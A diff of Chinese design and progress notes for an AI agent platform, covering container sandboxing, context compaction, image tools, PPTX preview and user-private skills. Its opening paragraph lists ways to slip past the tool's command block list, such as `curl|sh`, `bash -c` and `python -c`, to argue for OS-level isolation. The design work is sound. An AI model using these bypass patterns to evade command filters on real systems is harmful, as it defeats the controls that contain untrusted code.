**`shell` / `run_python` 不在工具层加强黑名单,§7.5 sandbox 是 SaaS hard prereq**(2026-05-21,05-25):`BLOCKED_PATTERNS` 只挡几个明显失误,稍有意识就绕过(双空格 / `bash -c` / `python -c` / `curl|sh` / `cd /` 全过),`cwd` 非 chroot。**不继续加规则**:命令注入图灵完备(`shell=True` + 任何脚本语言),黑名单枚举不完、越复杂越虚假安全感、误伤合法用法。**正确防线在 OS 层**:§7.5 per-user 容器 + drop ALL caps + read-only rootfs + bind mount own root + default-deny network + cgroup,Stage C 前仅 dogfood + 信任白名单。**per-user 非 per-task**:文件模型 user-rooted,安全目标是跨 user 隔离非同 user task 互隔。**非所有操作进容器**:auth/DB/files/SSE/LLM/受控 web 工具属 control plane 留宿主做权限审计,只有不可信代码进 execution plane。**本地 dogfood 接受风险**:自己机器 + 自己 prompt,blast radius 限自身(§5);外部场景 blast radius 是主机 + 他人数据 + cloud IAM,信任模型不同必须 §7.5。
|
||||
|
||||
**task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 working_dir 多 task **共享中间产物**(`source/` / `sections/` / `figures/`)是真实价值(素材跨多本子复用),但 spec 这种 task 1:1 宪法文件必须隔离(两本子 spec 直接撞)。文件名 `<YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md`:`task_short_id`(`task_id.hex[:8]`,永不变)主锚,glob `*-<short_id>-*.<base>.md` 字典序最大 = current 版本;`<YYYY-MM-DD>` 让"重定调"写新文件而非 edit 覆盖,旧版自然成历史快照;`<task_name>` 仅作"建时元数据 / 人类可读说明",改 name 不 cascade(由 short_id 兜底定位)。**反方案不选**:① cascade rename — in-flight run 期间文件丢 + 复杂度上升;② DB 化(spec 入 PG)— 架构最干净但工作量 5-10×,且失"用户直接编辑 markdown"能力,且 spec 字段还在演化没必要这么早 schema 化;③ 物理 task 子目录(`<working_dir>/<task>/`)— 破坏 §7.4 中间产物扁平共享设计。**升级到 DB 化的信号**:dev SPA 想做结构化编辑视图 / 想跨 task 查询 spec 字段(基金类型 / 经费 / 考核指标)/ markdown 版本文件堆积乱。约定由 `core/agent_builder.py::_build_system_prompt` 单点注入(`task_id` / `today` 实际值嵌入),所有 skill SKILL.md 引用同一份(目前 proposal / ppt 的 `spec`,未来 `outline` 等同款)。
|
||||
**task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 wd 多 task 共享中间产物(source/sections/figures)是价值,但 spec 这种 1:1 宪法文件必须隔离。文件名 `<YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md`:`short_id`(`task_id.hex[:8]` 永不变)主锚,glob 字典序最大=current;日期让"重定调"写新文件成历史快照;`task_name` 仅可读说明,改 name 不 cascade(short_id 兜底)。**不选**:① cascade rename(in-flight 丢文件 + 复杂);② DB 化(最干净但工作量 5-10× 且失"直接编辑 markdown"、spec 字段还在演化);③ 物理 task 子目录(破坏扁平共享)。**升级 DB 化信号**:想做结构化编辑视图 / 跨 task 查 spec 字段 / 版本文件堆积乱。约定由 `_build_system_prompt` 单点注入,所有 skill SKILL.md 引用同一份。
|
||||
|
||||
---
|
||||
|
||||
## 8. 未来步骤(草案,status=design)
|
||||
## 8. 未来步骤 / 已落地设计
|
||||
|
||||
### 8.1 图像理解 + Seedream i2i(2026-05-29)
|
||||
> 实施细节(步骤清单 / 验收项)进 PROGRESS + git;此处只留缺口、选型与取舍。
|
||||
|
||||
**缺口**:DeepSeek V4 主模型纯文本无视觉;`tools/seedream.py` 只 t2i;用户场景"seedream 出图 → 基于该图二次修改" / "上传外部参考图让 agent 据此干活"两条路径都未覆盖。
|
||||
### 8.1 图像理解 + Seedream i2i(2026-05-29,status=design 待启动)
|
||||
|
||||
**选 E + C 组合**:`tools/seedream.py` 加 `reference_images` 参数走 seedream 5.0 i2i + 新增 `tools/look_at_image.py` 走豆包 Seed 1.6 vision 单图理解。
|
||||
**缺口**:DeepSeek V4 主模型纯文本无视觉;`seedream` 只 t2i;"基于已生成图二次修改" / "上传外部参考图让 agent 据此干活"两条路径未覆盖。
|
||||
|
||||
**为什么不选 A(主模型换多模态)**:DeepSeek V4 的 code / tool calling 质量是 zcbot 主路径核心,换豆包 Seed 1.6 当主 chat 模型降 code 能力 + 拉低 tool calling 稳定性,且要改 `core/loop.py` 引入 multimodal content list 路径 + `core/memory.py` vision-aware 压缩 — 工程面 5× 且破坏现有架构。
|
||||
**选 E + C 组合**:`seedream` 加 `reference_images` 走 i2i(改已生成图,像素级)+ 新增 `look_at_image` 走豆包 Seed 1.6 vision 单图理解(读外部图,DeepSeek 自决何时调)。改动面=2 tool + 1 prompt 段 + 1 yaml 段,不动 loop / llm / capabilities / DB / 前端。
|
||||
- **不选 A(主模型换多模态)**:V4 的 code / tool calling 是主路径核心,换豆包当主 chat 降能力 + 要改 loop/memory 引 multimodal,工程 5× 且破坏架构。
|
||||
- **不选 B(后台 vision 路由)**:每条消息隐式 vision 描述 = 多烧 token + 1 跳延迟 + 失去 agentic 控制权 + debug 难。
|
||||
|
||||
**为什么不选 B(后台 vision 路由)**:用户每条消息隐式调一次 vision 描述 → 多烧 token + 多 1 跳延迟;DeepSeek 失去"自决何时看图"的 agentic 控制权;hidden prompt 影响描述质量,debug 难。
|
||||
**关键实测**:Seedream 5.0 `/images/generations` 接受 `image_urls` base64 data URL,200 返新图 → **内网无需对象存储中介**(排除最大工程不确定性)。约束:输出 ≥~1920²、单张参考 ≤10MB、最多 14 张。
|
||||
|
||||
**为什么 E + C 协作**:E 覆盖"改已生成图"(seedream 端到端无损像素级);C 覆盖"理解外部图"(DeepSeek 自决何时调,按需烧 token)。改动面集中在 **2 个 tool + 1 个 prompt 段 + 1 个 yaml 段**,**不动 loop / llm / capabilities / DB schema / 前端**。
|
||||
**风险 / 边界**:v1 只支持单张参考(multi-ref 角色定义靠 prompt,留 v2);base64 ARK 未承诺长期稳定(收紧则降级走 TOS 上传换 URL)。
|
||||
**升级到 A 的信号**:用户要"贴图同时说话模型直接读图回话",或多轮带图成高频 —— 当前假设"图是工具调用对象"而非"对话内容"。
|
||||
|
||||
**关键实测(2026-05-29 `scripts/probe_seedream_i2i.py`)**:Seedream 5.0 (`doubao-seedream-5-0-260128`) `/images/generations` 接受 `image_urls=["data:image/png;base64,..."]`,200 返回新图 TOS URL + `usage.generated_images=1`。约束:输出 `size` ≥3686400 像素(~1920²),单张参考 ≤10MB,最多 14 张。**base64 通路成立 → 内网部署无需对象存储中介,排除最大工程不确定性**。
|
||||
### 8.2 Token 优化与上下文治理(2026-06-04,✅ 已落地,详 PROGRESS)
|
||||
|
||||
**实施清单(待启动)**:
|
||||
1. `config/media/doubao.yaml` 加 `vision: seed_1_6:` 段(model_id + endpoint + 视觉 token 单价);顺手核对 seedream image 单价 0.22 vs 实测 ~0.25 CNY
|
||||
2. `tools/seedream.py` 加 `reference_images: array[str]` + `seed: int` 参数;路径校验在 workdir 内 + ≤10MB + 扩展名白名单(png/jpg/webp);meta.json 多记 reference_images
|
||||
3. `tools/look_at_image.py` 新建:走 `ark_client` POST `/chat/completions` OpenAI 多模态格式(`{"type":"image_url","image_url":{"url":"data:..."}}`);`record_chat_usage(model_profile="doubao.seed_1_6_vision")`,不入 `images_per_day` 配额
|
||||
4. `prompts/system/general_v1.md` 加图像协作引导段(改图 → seedream i2i;问图/读图 → look_at_image)
|
||||
5. 端到端 smoke:`scripts/smoke_seedream_i2i.py` + `scripts/smoke_look_at_image.py`
|
||||
6. (可选)前端 `dev.html` seedream 产物 chip 加"基于此图改"按钮(把路径塞下一条 textarea hint)
|
||||
**根因**:`Session.load()` 把全量历史装回每轮 LLM 调用,旧 tool 结果 / `load_skill` 正文 / 检索结果 / 长 stdout 反复携带;LiteLLM cost map 未覆盖 V4 致 `cost_cny=0` 不可用。
|
||||
|
||||
**已知风险**:
|
||||
- 多张参考图(2-14)的角色定义(主体 vs 风格 vs 局部)靠 prompt 经验,**v1 只支持单张**;multi-ref 留 v2
|
||||
- 豆包 Seed 1.6 vision tokens 单价(in / out 分档)待 ARK 控制台查
|
||||
- DeepSeek 主动调 `look_at_image` 的可靠性需前几轮真用例里观察,不靠就在 prompt 加一句更明确引导;不过度工程
|
||||
- ARK 文档强调 image_urls 官方推荐 URL,base64 实测可行但**未承诺长期稳定**;若未来 ARK 收紧,降级方案 = 火山 TOS 上传 5 分钟 → URL(引入 TOS SDK)
|
||||
**质量边界(设计约束,后续改动都守)**:
|
||||
- 不改模型输入的优化(prompt caching、固定前缀、计费修复、cache hit/miss 记录)不影响输出质量。
|
||||
- 改模型可见上下文的优化(裁剪 / 摘要 / 按需读取)必须**保留可追溯原文**:长结果写文件留路径,summary 只替代陈旧噪声,**用户确认过的需求 / 规格 / 大纲 / 关键结论不删**。
|
||||
- **禁止把"只保留最近 N 条"当主策略** —— 省 token 但最易丢已确认约束。
|
||||
|
||||
**升级到 A(主模型多模态)的信号**:用户明确要求"我说话同时贴图,模型直接读图回话",或多模态对话历史(多轮带图)成为高频需求 — 当前 E + C 假设是"图像是工具调用对象"而非"对话上下文";真高频需要"图也是消息内容"时再升 A。
|
||||
**选型**:Context Editing + Memory/File State + Cache Observability 混合。稳定 system/tools 前缀利于 provider cache;旧 tool result 移除或压缩;关键发现写 task summary / FS,需要时 `read` 重新拉。长上下文保留作少数全局推理的临时能力,非默认每轮成本。
|
||||
|
||||
### 8.2 Token 使用优化与上下文治理(2026-06-04)
|
||||
**落地形态**:`core/context.py` 发送前压缩旧 tool / `load_skill` / assistant tool_call arguments(保 `role/tool_call_id/name` 协议完整),不改持久化历史;**上下文压力门槛**(2026-06-10):总 chars 未逼近上限则完全跳过压缩、原样发,护 DeepSeek 前缀缓存(短任务字节逐轮一致、命中 92-94%)。task summary(旧消息压成一条、区分硬约束/计划/文件路径/关键事实)为第二步,未做。
|
||||
|
||||
**现状诊断**:最近 7 天 chat 输入 token 约 1.225 亿、输出约 87 万,输入/输出约 140:1;最大单次 chat 输入超过 53 万 token。根因不是回答过长,而是 `Session.load()` 把全量历史消息装回 `self.session.messages`,每轮 LLM 调用继续携带旧 assistant/tool 结果、`load_skill` 完整正文、文献检索结果和长 stdout/stderr。当前 `cost_cny=0` 还说明 LiteLLM cost map 未覆盖 DeepSeek V4,费用统计不可用于判断真实消耗。
|
||||
### 8.3 PPTX 前端在线预览(2026-06-09,✅ 已落地 Stage 1)
|
||||
|
||||
**质量边界**:
|
||||
- 不改变模型输入的优化(prompt/context caching、固定 prompt 前缀、费用统计修复、cache hit/miss 记录)不影响输出质量。
|
||||
- 会改变模型可见上下文的优化(工具结果裁剪、旧历史摘要、RAG/按需读取)必须保留"可追溯原文":长结果写文件或保留路径,summary 只替代陈旧噪声,用户确认过的需求 / 规格 / 大纲 / 关键结论不删。
|
||||
- 禁止简单"只保留最近 N 条"作为主策略;它省 token 但最容易丢已确认约束。
|
||||
**动机**:文件区点 `.pptx` 原只能下载;要在浏览器直接翻看,且覆盖任意 pptx(含上传)。
|
||||
**关键洞察(定方案极简)**:前端已有 `<iframe src=blob:application/pdf>` PDF 原生渲染路径,所以**后端把 pptx 转 PDF 即可,前端几乎不动**(不需 pdf.js / PNG 栅格化)。
|
||||
|
||||
**选型**:采用 Context Editing + Memory/File State + Cache Observability 的混合方案。对齐 2025-2026 主流实践:稳定 system/tools 前缀利于 provider prompt cache;旧 tool result 从上下文中移除或压缩;关键发现写入 task summary / 文件系统,需要时由 `read` / domain tool 重新拉取原文。长上下文仍保留作少数全局推理场景的临时能力,不作为默认每轮成本。
|
||||
**选型 LibreOffice→PDF**:像素级保真 + 通用(任意 pptx)+ 前端复用现成 PDF iframe;代价=服务器装 LibreOffice + CJK 字体。劣选:轻量 HTML(复杂 pptx 失真,不满足"任意");LibreOffice→PDF→PNG(多栅格化层、失矢量缩放、无收益)。
|
||||
**与 `scripts/pptx_preview.py` 分工**:后者是 agent 生成阶段自检(pptx→Chrome→PNG,近似但零服务器依赖);本方案是面向用户的高保真预览。
|
||||
|
||||
**Stage 1:可观测性与计费修复(低风险,不改输出)**:
|
||||
1. `core/loop.py::_extract_usage` 扩展返回 cache hit/miss / reasoning tokens 等 provider usage 细节;DeepSeek 的 `prompt_cache_hit_tokens` / `prompt_cache_miss_tokens` 归入 `usage_events.units`。
|
||||
2. `core/storage/usage.py::record_chat_usage` 在 LiteLLM `completion_cost` 返回 0 时,按本地模型价格配置兜底计算 `cost_cny`;历史仍以 `units` snapshot 可复算。
|
||||
3. SSE `llm_end` 带 `cache_hit_tokens` / `cache_miss_tokens`;dev SPA 在底部 hint 展示"本次输入 / 输出 / 缓存命中 / 未命中"。
|
||||
|
||||
**Stage 2:工具结果降噪(低风险,小幅改变上下文)**:
|
||||
1. `run_python` 新增 `script_path` 模式。非短小一次性代码先用 `write` 落 `.py` 文件,再 `run_python(script_path="...")`;这样 tool_call arguments 只保留路径,源码留在文件系统按需读取。保留 `code` 兼容短 snippet。
|
||||
2. `run_python` / `shell` 返回体默认保留 stdout/stderr 的头尾摘要,避免长日志反复进入后续 prompt;暂不写 `.tool_logs`,避免 host backend 污染 repo 根。
|
||||
3. `document_search` 暂不调整默认召回量(保留 6×1200 chars),优先通过上下文预算 / 历史压缩控制长期成本;需要全文时先 `document_download` 或再次指定更大 `content_chars_per_doc`。
|
||||
4. `load_skill` 的完整正文只在当前轮用于理解;入库 / 后续上下文可压缩成"已加载 skill: name, path, digest",减少每轮重复携带 5-10KB skill 文档。
|
||||
|
||||
**Stage 3:上下文预算与自动压缩(中风险,需测试)**:
|
||||
1. 新增 `core/context.py` 负责构造 LLM messages,输入为 `Session.messages` + budget,输出为裁剪后的 messages。
|
||||
2. 第一步只做**旧 tool / tool_call 参数压缩**:保留 system、最近约 12 条原文,对较旧且过长的 `role=tool` 内容做头尾摘要;旧 `load_skill` 结果压成"已加载 skill: name/dir"标记;旧 assistant `tool_calls[].function.arguments` 超过约 800 chars 时压成合法 JSON 标记(保留 path/script_path/name/original_chars),避免 `write(content=...)` 源码参数反复进 prompt。`role` / `tool_call_id` / `name` 不变,保证 OpenAI/LiteLLM tool_call 协议完整。这个阶段不调用额外 LLM,不生成全局摘要。
|
||||
- **上下文压力门槛(2026-06-10)**:压缩只在历史体量逼近上限时才做 —— `prepare_messages_with_stats(compact_threshold_chars=...)`,总 chars 未超阈值则**完全跳过压缩、原样发**。loop 按当前模型 `reliable_context × 0.5 × ~2.5 char/token` 折算阈值。**取舍**:① 短/中任务没有上下文压力却被压缩 = 白丢旧工具细节,门槛后零损失;② 压缩函数确定性但边界 `len-keep_recent` 逐轮滑动,每轮重压 1-2 条 → 破 DeepSeek 前缀缓存;门槛让短任务**前缀逐轮字节一致、缓存全程命中**。实测高轮 task 缓存命中已 92-94%(滑动边界损失有限,旧消息压缩态稳定),故只补门槛、暂不改滑动边界为阶梯式(收益仅再抬几个点,不值复杂度)。`compaction_skipped` 进 `llm_start` 事件可观测。
|
||||
3. 第二步再做 task summary:保留 system、最近 6-10 轮原文、未闭合 tool_call 协议相关消息、最新用户消息;旧消息压成一条 summary。
|
||||
4. summary 必须区分:用户确认的硬约束、当前计划、已生成文件路径、关键事实、待办/风险、可丢弃日志。旧 tool 原文不直接塞回,只保留路径和摘要。
|
||||
5. 阈值建议先按字符粗估触发(如 200k chars),后续接 tokenizer 精确预算;触发后目标压到 reliable_context 的 25%-40%,避免刚压完又涨满。
|
||||
|
||||
**验收指标**:
|
||||
- 高用量 task 的单次 `tokens_in` 从 50 万级降到 5-10 万级以内,常规任务低于 3 万。
|
||||
- `usage_events.units` 能区分 input/output/cache hit/cache miss,`cost_cny` 不再全 0。
|
||||
- `llm_start` SSE 事件能看到 `context_original_chars` / `context_sent_chars` / `context_saved_chars` / `context_compacted_tool_messages` / `context_compacted_skill_messages`,dev SPA 底部 hint 同步展示,用于判断压缩是否真实生效。
|
||||
- task 列表里的 `N 条 / N tok` 是 DB 持久化累计消息数和历史调用总 token,用于账单 / 审计;它不会因"发送前上下文压缩"下降。真实本轮发送体量看 `llm_start context_*` 和 `llm_end prompt_tokens/cache_*`。
|
||||
- 文献采集 / 论文写作 / PPT 三类长任务仍能复查原文路径,不会因摘要丢失用户确认过的规格。
|
||||
- 增加 focused tests 覆盖 usage detail 提取、成本兜底、工具结果裁剪、上下文压缩协议完整性。
|
||||
|
||||
### 8.3 PPTX 前端在线预览(LibreOffice → PDF,2026-06-09)
|
||||
|
||||
**动机**:ppt skill 现在能产出观感不错的 `.pptx`,但前端对话/文件区里 `.pptx` 只能**下载**(`preview.js` 的 `_categorize` 把它归为 `fallback` → "暂不支持在线预览,请下载查看")。用户要在浏览器里直接翻看 deck,不必下载 + 开 PowerPoint。需求扩展到**任意 pptx**(含用户上传的),不只 skill 自产。
|
||||
|
||||
**关键洞察(决定了方案极简)**:前端 `preview.js` 已有完整预览弹框,且 **PDF 已用 `<iframe src=blob:application/pdf>` 浏览器原生渲染**(`_showPdf`)。所以只要把 pptx **在后端转成 PDF**,前端复用现成的 PDF iframe 路径即可 —— **不需要 pdf.js、不需要 PNG 栅格化、前端改动近乎为零**。
|
||||
|
||||
**与 `pptx_preview.py` 的分工(两个工具,两个用途,别混)**:
|
||||
- `scripts/pptx_preview.py`(pptx→HTML→Chrome→PNG):**agent / skill 自检**用,在 deck 生成阶段让模型用 `read` 看 PNG 验观感;近似渲染(只覆盖 skill 用的形状子集,chevron/椭圆会失真),但零服务器依赖、能在生成现场跑。
|
||||
- 本方案(pptx→LibreOffice→PDF):**前端面向用户**的高保真在线预览;像素级真实、支持任意 pptx,代价是服务器 LibreOffice 依赖。
|
||||
|
||||
**选型(为何 LibreOffice→PDF)**:
|
||||
| 方案 | 保真 | 前端工作 | 服务器依赖 | 取舍 |
|
||||
|---|---|---|---|---|
|
||||
| 轻量 HTML(复用 pptx_preview 的 HTML,前端 iframe 渲) | 近似(复杂 pptx 失真) | 中(新渲染组件) | 无 | 够预览自产 deck,但用户上传的复杂 pptx 会失真,不满足"任意 pptx" |
|
||||
| **LibreOffice→PDF + 复用 _showPdf** ✅ | 像素级 | **近零**(复用现有 PDF iframe) | LibreOffice + CJK 字体 | 选它:保真 + 通用 + 前端几乎不动;成本是服务器装 LibreOffice |
|
||||
| LibreOffice→PDF→PNG(pymupdf/poppler) | 像素级 | 小(<img>) | LibreOffice + 栅格库 | 多一层栅格化且失去矢量缩放,无收益 —— 浏览器能原生渲 PDF |
|
||||
|
||||
**架构**:转换跑在 **backend host(`web/app.py` 进程)**,**不进执行沙盒**(沙盒无 LibreOffice 也不该有;本预览面向 user_root 下任意 pptx,与 deck 生成解耦)。按需触发(首访转换 + 缓存),不在 deck 生成时 eager 转(对上传文件也通用)。
|
||||
|
||||
**后端改动**:
|
||||
1. 新模块 `web/pptx_render.py`:`pptx_to_pdf(pptx_path) -> pdf_path`(同步、可缓存)。
|
||||
- 调 `soffice --headless --convert-to pdf --outdir <tmp> <pptx>`;**每次用独立 `-env:UserInstallation=file://<临时 profile>`** 绕开 LibreOffice 单 profile 锁(否则并发转换互斥);`subprocess` 设超时(~60s)+ 超时 kill。
|
||||
- soffice 路径发现复用 `render_bg.py` 的思路(查常见安装路径 + PATH);缺失则抛清晰错误(端点回 501 + "服务器未装 LibreOffice")。
|
||||
2. 新端点 `GET /v1/files/preview_pdf?path=<rel.pptx>`:复用 files API 的鉴权 + `_safe_path`(路径必须落在 user_root 内,防穿越);转换后 `FileResponse(application/pdf)`。阻塞转换走 `run_in_executor` 不堵事件循环。
|
||||
3. **缓存**:PDF 落同目录隐藏 `.preview/<stem>.<hash>.pdf`,`hash` 由源 pptx 的 `mtime+size`(或内容哈希)派生;命中且新鲜直接返回。`.preview/` 是 dotdir,`_enumerate_files` 已跳过 dotfile,不会污染文件列表。失效靠 hash 换名 + 现有磁盘配额扫描兜底清理。
|
||||
4. **并发**:按解析后的 pptx 绝对路径加 `asyncio.Lock`,避免同一文件并发重复转换。
|
||||
|
||||
**前端改动**(`preview.js`,极小):
|
||||
1. `_EXT_GROUPS` 加 `ppt: new Set(["pptx","ppt"])`。
|
||||
2. `openFilePreview` / `openMiniFilePreview`:`cat === "ppt"` 时,不 `download` 原文件,改 `fetch("/v1/files/preview_pdf?path=...")` 拿 PDF blob → 复用 `_showPdf(blob)`;加"由 PPT 转换 · 首次稍候"提示 + loading 态;转换失败回 `_showFallback`(已带"下载原文件"按钮,`fp-download` 仍下载 .pptx)。
|
||||
|
||||
**依赖与部署**:
|
||||
- **LibreOffice**(`soffice`):backend host + 部署镜像装(Dockerfile `apt-get install -y --no-install-recommends libreoffice-impress`)。dev(Windows)用 `winget install TheDocumentFoundation.LibreOffice` 装来测。
|
||||
- **CJK 字体**:Linux 服务器装 `fonts-noto-cjk`。**保真边界**:我们的 deck 用「微软雅黑」,Linux 上 LibreOffice 会替换成 Noto Sans CJK,字形度量与 Windows PowerPoint 略有差异(可接受);要完全一致需在服务器装 YaHei(版权另议)。
|
||||
- **无新 pip 依赖**(不引 pymupdf/pdf.js)。
|
||||
|
||||
**边界 / 风险**:
|
||||
- **冷启动延迟**:soffice 首次转换 ~2-4s(冷启 + 转换),缓存后即时。可选优化:常驻 soffice listener(`--headless --invisible` socket 模式)消冷启 —— 留作 Stage 2。
|
||||
- **安全**:本预览会对**用户上传的任意 pptx**跑 LibreOffice(历史有 EPS/宏类 CVE)。缓解:`--convert-to` 模式默认不执行文档宏;额外 pin 宏安全到 high、禁网络、限资源;只处理鉴权用户自己 user_root 内的文件。
|
||||
- **超时 / 损坏文件**:转换超时或失败 → 端点 500 + 前端 fallback 到下载,不挂起。
|
||||
- **大 deck**:页数多则转换久,靠超时 + 缓存兜。
|
||||
|
||||
**分阶段落地**:
|
||||
- **Stage 1(本期)**:`web/pptx_render.py`(soffice 转换 + 缓存 + 锁)+ `/v1/files/preview_pdf` 端点 + `preview.js` 路由 pptx→PDF;部署侧装 LibreOffice + Noto CJK。出可用功能。
|
||||
- **Stage 2(可选)**:常驻 soffice listener 消冷启;deck 生成后 eager 预转换;缩略图条 / 翻页导航增强。
|
||||
|
||||
**验收指标**:
|
||||
- 对话/文件区点 `.pptx` → 弹框内直接翻页预览(PDF iframe),版面/字体/图与 PowerPoint 基本一致;首次 ~数秒、再次即时(命中缓存)。
|
||||
- 路径穿越被 `_safe_path` 挡;非 pptx / 损坏文件优雅回退到下载。
|
||||
- 服务器未装 LibreOffice 时端点回明确错误、前端提示下载,不白转/不挂起。
|
||||
- 新增 focused tests:转换成功落 PDF + 缓存命中、路径越界拒绝、soffice 缺失降级、并发同文件只转一次。
|
||||
**落地形态**:`web/pptx_render.py`(soffice 转 PDF,独立临时 `UserInstallation` 绕单 profile 锁 + 缓存 `.preview/<hash>.pdf` + 超时 kill)+ `GET /v1/files/preview_pdf`(复用 `_safe_path` 防穿越 + per-path `asyncio.Lock` + `run_in_executor`)。**转换在 web host 不进沙盒**(沙盒不该有 LibreOffice;预览与 deck 生成解耦)。
|
||||
**安全边界**:对上传任意 pptx 跑 LibreOffice(历史有宏/EPS CVE)→ `--convert-to` 默认不执行宏 + 宏安全 high + 禁网 + 仅处理鉴权用户自己 user_root 内文件。
|
||||
**保真边界**:deck 用微软雅黑,Linux 上替换成 Noto Sans CJK 度量略差(可接受)。**Stage 2(未做)**:常驻 soffice listener 消冷启、deck 生成后 eager 预转、缩略图导航。
|
||||
|
||||
---
|
||||
|
||||
|
|
|
|||
331
PROGRESS.md
331
PROGRESS.md
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
> 配合 `DESIGN.md`。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查 `git log` / `git diff` / `DESIGN §7.9`。
|
||||
|
||||
最后更新:2026-06-09(PPTX 前端在线预览:LibreOffice→PDF + 复用 PDF iframe,DESIGN §8.3 Stage 1)
|
||||
最后更新:2026-06-11(用户私有 skill:多来源 registry + save_skill/fork_skill + skill-creator)
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -13,212 +13,188 @@
|
|||
| 1-3 | 骨架 + Skill + run_python | ✅ | 多 skill(coding/proposal/ppt/research/documents/imagegen/videogen/review/patent);CoreCoder 唯一匹配 edit;敏感 env 过滤 |
|
||||
| 4 | 演化性能力 | 🟡 | Model Profile + Probing ✅;版本化 prompt 未做 |
|
||||
| 5 | Eval Suite | ⏸ 不做 | dogfooding 替代,probe 覆盖健康检查 |
|
||||
| 6 | 长任务工程化 | 🟡 | task + 恢复 ✅;双层记忆 ✅;context 压缩未做 |
|
||||
| 6 | 长任务工程化 | 🟡 | task + 恢复 ✅;双层记忆 ✅;context 压缩 ✅(加压力门槛) |
|
||||
| 7 | 打磨 | ❌ | Docker 沙盒 / 更多 skill |
|
||||
| §7 SaaS | DESIGN §7 路线 | 🟡 | A 事件流化 ✅;B 完工 ✅;D `/v1` JSON API ✅;D' 过渡 auth + dev SPA ✅;单活 run 锁 + cancel ✅;0004 schema 瘦身 ✅;入口归位 ✅;真 OIDC 待;**C Step 1-3 + 3d ✅(Executor + Docker 池 + DockerExecutor + fs 工具进容器)+ Step 5 部署前置对账 ✅ + 容器资源 yaml + 应用层磁盘配额(scan+gate)✅ + dogfood 网络放开 + 容器内 pip/npm 源持久化 ✅**;**Step 4 完整 egress proxy + Step 3b PGID kill 协议延后到外部用户开放前**;**外部用户开放仍需 egress proxy + xfs project quota OS 层硬化(§7.5 落地清单 #2 #4)**。 |
|
||||
| §7 SaaS | DESIGN §7 路线 | 🟡 | A 事件流化 ✅;B 完工 ✅;D `/v1` JSON API ✅;D' 过渡 auth + dev SPA ✅;单活 run 锁 + cancel ✅;0004 schema 瘦身 ✅;入口归位 ✅;真 OIDC 待;**C Step 1-3 + 3d ✅(Executor + Docker 池 + DockerExecutor + fs 工具进容器)+ Step 5 部署前置对账 ✅ + 容器资源 yaml + 应用层磁盘配额 ✅ + dogfood 网络放开 + 容器内 pip/npm 源持久化 ✅**;**Step 4 完整 egress proxy + Step 3b PGID kill 协议延后到外部用户开放前**(还需 egress proxy + xfs project quota OS 层硬化,§7.5 落地清单 #2 #4)。 |
|
||||
|
||||
---
|
||||
|
||||
## 已完成关键能力
|
||||
|
||||
### 2026-06-11
|
||||
|
||||
- **dev SPA「技能」查看 modal(左侧 rail 底部入口)**:因 `.skills` 在文件面板隐藏,加左侧 rail 底部「我的资源」分组(`#rail-resources`,留位给后续「记忆」)+「技能」按钮 → 弹 modal 分「平台 skill / 我的 skill」两组列表,点任一项展开**完整 SKILL.md**(`GET /v1/skills/{name}` + 现有 markdown 渲染),「我的」每项带删除(二次确认 → `DELETE /v1/skills/{name}`,只删 user 源 + 防穿越);覆盖标 `已覆盖平台同名`,`load_errors` 提示未加载的。创建/改/fork 仍走对话。新 `web/static/js/skills.js`(零构建 ES module,main.js import + Esc 栈接入);`/v1/skills` 已带 source/overrides/load_errors。**纯查看 + 删除,不在 UI 做创建/编辑**(编辑天然对话式)。
|
||||
- **用户私有 skill(每用户 `.skills/`,可从零写或 fork 内置再改)**:`SkillRegistry` 从单目录改**多来源**(`SkillSource` 列表:内置 `ROOT/skills` + 用户 `user_root/.skills`),后扫同名覆盖先扫 → **user wins**;覆盖关系记进 `user_overrides`,discovery 显式标 `[你的·已覆盖内置]`(不静默)。`Skill` 加 `source` 字段;`from_dir` 区分"无 SKILL.md(静默跳过)"与"有但格式错(抛 `SkillLoadError`)",`_scan` 捕获用户来源的错收进 `load_errors`、注入 system prompt 提示用户修(一个坏 skill 不再崩整次扫描)。容器路径改写从 LoadSkillTool 下沉到 registry(`container_dir` 按 `source` 给 `/sandbox/skills` 或 `/workspace/.skills`),LoadSkillTool 去掉 `container_skills_dir` 参数。**关键判断**:写 skill 用 host-side typed tool(`save_skill`/`fork_skill`,`tools/skill_authoring.py`)而非 fs/shell —— 因 fs 的 base_dir 锚 cwd(host)/ 容器 wd(docker),都够不到 `user_root/.skills`,跨 backend 不可靠;host-side 工具知道 user_root 一个落点两模式通吃(与 seedream/DocumentDownload 一致范式)。`save_skill` 写时校验 frontmatter(名合法 / YAML 合法 / 有 description / name 一致),`fork_skill` copytree 整目录(带脚本)+ 自动把 frontmatter name 对齐新名(否则 fork ppt 仍叫 ppt 会反覆盖内置)。`.skills` 是 dotfile(文件面板隐藏,与 `.memory` 一致;`validate_task_name` 已禁 `.` 起头 working_dir,天然不撞)。`/v1/skills` 带上用户 skill + `source`/`overrides_builtin`/`load_errors`。新增 `skill-creator` 引导 skill。+`test_user_skills.py`(20 例)+ 改写 `test_load_skill.py`。性能:多扫一目录,没 `.skills` 的用户一次 `exists()` 跳过;有 skill 仅每 run +1-3ms,不在热路径。
|
||||
|
||||
### 2026-06-10
|
||||
|
||||
- **dev SPA 加克制入场微动效(纯 CSS、单文件、可一键回退)**:`web/static/dev.html` 的 `<style>` 补 5 处低风险微动效,保留现有红主色/VS Code 三栏审美不改风格——① 消息气泡 `.msg` 入场淡入+上滑 6px(`msg-in .22s`,历史批量加载退化为一次柔和集体淡入,不抖);② 通用 4 个 modal 卡片 `modal-pop` scale .96→1 弹入 + 遮罩 `modal-fade` 淡入(此前 admin/chpw/src-picker/new-task/file-preview 直接 `display:flex` 无过渡);③ 全局 `button:active` 下压 1px(原仅登录主按钮有);④ `#task-progress-dock.show` 顶部 `dock-in` 滑下淡入;⑤ `@media (prefers-reduced-motion: reduce)` 守卫禁用上述入场动画(spinner/blink 等功能性动画保留)。**二轮补全剩余弹框**:⑥ 下拉操作菜单 `#floating-menu`(任务行 ⋯)`menu-in` 从右上锚点 scale+下落弹出(.14s,菜单要快);⑦ 拖拽上传 overlay `#file-droparea` 复用 `modal-fade` 快淡入;⑧ 上传进度 toast `.upload-status` 复用 `dock-in` 顶部滑下;⑨ 